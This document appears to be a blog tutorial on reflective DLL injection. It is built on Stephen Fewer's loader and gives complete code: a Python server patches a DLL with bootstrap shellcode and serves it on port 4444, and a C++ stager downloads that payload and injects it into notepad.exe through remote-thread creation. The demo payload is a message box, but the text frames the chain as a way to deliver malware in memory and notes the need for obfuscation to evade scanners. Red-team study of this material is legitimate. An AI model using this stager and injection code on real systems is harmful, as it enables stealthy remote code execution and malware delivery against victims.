Reflective DLL Injection

Following on from our article about Malware staging, the next step is to load a DLL in memory.

Stephen Fewers reflective loader code is used by a number of projects, including Metasploit to perform DLL injection. The code can be downloaded from here:

https://github.com/stephenfewer/ReflectiveDLLInjection

The compiled DLL exports a single function ReflectiveLoader(). When called, the function will be able to load the DLL into memory, without using the Windows Loader (LDR). It carries out the following steps to do this;

  • Determines it’s own location in memory to be able to identify it’s header locations.
  • Walk the kernel32 Export Address Table (EAT) to find functions necessary to perform loading such as LoadLibraryA/VirtualAlloc/GetProcAddress.
  • Allocate memory with VirtualAlloc, and map the headers and sections to this location.
  • Perform Import Address Table (IAT) resolution, and rebase the memory.
  • The DLL is now mapped into memory as it would be if it was loaded using LoadLibraryA. The entry point for the DLL is called.

Compiling the ReflectiveLoader

Modify ReflectiveDll.c to include code of your choosing (in this case just a MessageBox).

//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include <cstdio>

// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.

// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//

void myfunction();

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    BOOL bReturnValue = TRUE;
	FILE* file;
	const char* text = "It worked!.";
	switch( dwReason ) 
    { 
		case DLL_QUERY_HMODULE:
			if( lpReserved != NULL )
				*(HMODULE *)lpReserved = hAppInstance;
			break;
		case DLL_PROCESS_ATTACH:
			myfunction();
			break;
		case DLL_PROCESS_DETACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
            break;
    }
	return bReturnValue;
}

void myfunction()
{
	MessageBoxA(NULL, "Hello from bordergate!", "Hello", MB_OK);
}

After compiling the code with Visual Studio, we can see there is only one exported function.

dumpbin /exports reflective_dll.x64.dll
Microsoft (R) COFF/PE Dumper Version 14.37.32824.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file reflective_dll.x64.dll

File Type: DLL

  Section contains the following exports for reflective_dll.x64.dll

    00000000 characteristics
    FFFFFFFF time date stamp
        0.00 version
           1 ordinal base
           1 number of functions
           1 number of names

    ordinal hint RVA      name

          1    0 0000104C ?ReflectiveLoader@@YA_KPEAX@Z = ?ReflectiveLoader@@YA_KPEAX@Z (unsigned __int64 __cdecl ReflectiveLoader(void *))

  Summary

        2000 .data
        1000 .pdata
        A000 .rdata
        1000 .reloc
        1000 .rsrc
        E000 .text
        1000 _RDATA

Executing ReflectiveLoader

Although the ReflectiveLoader function can load the DLL is resides in, the code in that function will first need to be called. This will require some bootstrap code. Once the ReflectiveLoader DLL has been compiled, we can then patch the DLL to include this bootstrap code within the DOS header.


The below code does the following;

  • Uses the python module pefile to identify the location of the ReflectiveLoader function in our DLL file.
  • Patches the ReflectiveLoader DLL header to include a call to the ReflectiveLoader function.
  • Delivers the resulting DLL over a network socket using the staging protocol we covered in this article.

Server Code

import socket
import pefile
import struct

def read_file_into_byte_array(file_path):
    try:
        with open(file_path, 'rb') as file:
            byte_array = bytearray(file.read())
            return byte_array
    except FileNotFoundError:
        print(f"The file '{file_path}' does not exist.")
    except Exception as e:
        print(f"An error occurred: {e}")
        return None

def get_loader_offset(pe):
    if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
        for export in pe.DIRECTORY_ENTRY_EXPORT.symbols:
            if b"ReflectiveLoader" in export.name:
                print("ReflectiveLoader Name:  " + str(export.name))
                print("ReflectiveLoader Ordinal: " + str(export.ordinal))
                print("ReflectiveLoader Address: " + str(hex(export.address)))
                break
    offset_va = export.address - pe.get_section_by_rva(export.address).VirtualAddress
    rl_offset = offset_va + pe.get_section_by_rva(export.address).PointerToRawData - 7
    print("ReflectiveLoader Offset: " + str(rl_offset))
    return struct.pack("<I", rl_offset)

def patch_dll(dll):
    pe = pefile.PE(dll)
    print("[*] %s loaded" % dll)
    rl_offset = get_loader_offset(pe)
    patch = (b"\x4D"                           # dec ebp                   # M
            b"\x5A"                           # pop rdx                   # Z
            #b"\xCC"                           #                           # Software breakpoint for debugging
            b"\xE8\x00\x00\x00\x00"           # call 0              
            b"\x5B"                           # pop rbx                   # Get our location
            b"\x48\x81\xC3" + rl_offset +     # add rbx, 0x????????       # add offset to ReflectiveLoader
            b"\xFF\xD3"                       # call rbx                  # Call ReflectiveLoader
            b"\xEB\xFC")                      # JMP -2                    # FB = 3 bytes FC = 2 bytes

    with open(dll, 'rb') as src:
        payload = src.read()

    reflective_payload = patch + payload[len(patch):]

    patched_dll = 'payload_patched.dll'
    with open(patched_dll, 'wb') as dst:
        dst.write(reflective_payload)
    print("Patched DLL")

def main():
    patch_dll("reflective_dll.x64.dll")

    file_path = 'payload_patched.dll'
    dll_byte_array = read_file_into_byte_array(file_path)
    dll_byte_array_size = len(dll_byte_array)
    little_endian_bytes =dll_byte_array_size.to_bytes(4, byteorder='little')
    print(f"The payload is {dll_byte_array_size} bytes.")

    HOST = '192.168.1.127'
    PORT = 4444
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((HOST, PORT))
    server_socket.listen()
    print(f"Server listening on {HOST}:{PORT}")

    while True:
        client_socket, client_address = server_socket.accept()
        print(f"Accepted connection from {client_address}")
        client_socket.sendall(little_endian_bytes + dll_byte_array)

        client_socket.close()
        print(f"Connection with {client_address} closed")

if __name__ == '__main__':
    main()

Client Code

Using a modified version of our Metasploit compatible stager from this article. The code carries out the following steps;

  • Use function GetProcessIdByName() to get a processes PID.
  • Get a handle to the process using OpenProcess().
  • Allocate memory in the remote process with VirtualAllocEx.
  • Use WriteProcessMemory to inject code into the remote process.
  • Use CreateRemoteThread to call the code in the remote process.
#include <iostream>
#include <winsock2.h>
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
 
void printHexBytes(const char* buffer, size_t size) {
    for (size_t i = 0; i < size; ++i) {
        printf("%02x ", static_cast<unsigned char>(buffer[i]));
    }
    printf("\n");
}

DWORD GetProcessIdByName(const TCHAR* processName) {
    PROCESSENTRY32 processEntry;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0; // Unable to create snapshot
    }

    processEntry.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hSnapshot, &processEntry)) {
        CloseHandle(hSnapshot);
        return 0; // Unable to get the first process
    }

    do {
        if (_tcsicmp(processEntry.szExeFile, processName) == 0) {
            CloseHandle(hSnapshot);
            return processEntry.th32ProcessID; // Found the process, return its PID
        }
    } while (Process32Next(hSnapshot, &processEntry));

    CloseHandle(hSnapshot);
    return 0; // Process not found
}
 
int main(int argc, char* argv[]) {
    ULONG32 size;
    void (*function)();
    // Initialize Winsock
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        std::cerr << "Failed to initialize Winsock" << std::endl;
        return -1;
    }
    // Create a socket
    SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, 0);
    if (clientSocket == INVALID_SOCKET) {
        std::cerr << "Error creating socket: " << WSAGetLastError() << std::endl;
        WSACleanup();
        return -1;
    }
    // Set up the server address
    sockaddr_in serverAddress;
    serverAddress.sin_family = AF_INET;
    serverAddress.sin_port = htons(4444);
    serverAddress.sin_addr.s_addr = inet_addr("192.168.1.127");
 
    // Connect to the server
    if (connect(clientSocket, reinterpret_cast<sockaddr*>(&serverAddress), sizeof(serverAddress)) == SOCKET_ERROR) {
        std::cerr << "Error connecting to the server: " << WSAGetLastError() << std::endl;
        closesocket(clientSocket);
        WSACleanup();
        return -1;
    }
     
    // Get the size of the payload (in the first four bytes of network communication)
    recv(clientSocket, reinterpret_cast<char*>(&size), 4, 0);

    // Lookup the target process by name
    const TCHAR* processName = _T("notepad.exe");
    DWORD pid = GetProcessIdByName(processName);

    HANDLE process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    // Allocate memory, including 5 bytes for our socket handler and POP EDI
    char* buffer = static_cast<char*>(VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE));
 

    // POP EDI to first byte
    buffer[0] = 0xBF;
    // Followed by socket handle
    memcpy(buffer + 1, &clientSocket, 4);
 
    int bytesRead = 0;
    int totalBytesRead = 0;
    while (totalBytesRead < size) {
        bytesRead = recv(clientSocket, reinterpret_cast<char*>(buffer) + 5 + totalBytesRead, size - totalBytesRead, 0);
        if (bytesRead <= 0) {
            std::cerr << "Error receiving shellcode" << std::endl;
            delete[] buffer;
            closesocket(clientSocket);
            WSACleanup();
            return -1;
        }
        totalBytesRead += bytesRead;
    }
 
    std::cout << "Buffer bytes\n";
    printHexBytes(buffer, 20);

    //Allocate a buffer in our remote process 
    PVOID remote_buffer = VirtualAllocEx(process_handle, NULL, size + 5, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    // Write our buffer to the remote process
    WriteProcessMemory(process_handle, remote_buffer, buffer, size + 5, NULL);
    // Create thread in the remote process
    HANDLE remoteThread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
 
    return 0;
}

In Conclusion

Reflective DLL injection is a very useful technique for delivering malware in memory. It’s worth noting that due to the age and prevalence of the reflected loader project it will likely be detected by memory scanning unless further obfuscation of the code is applied.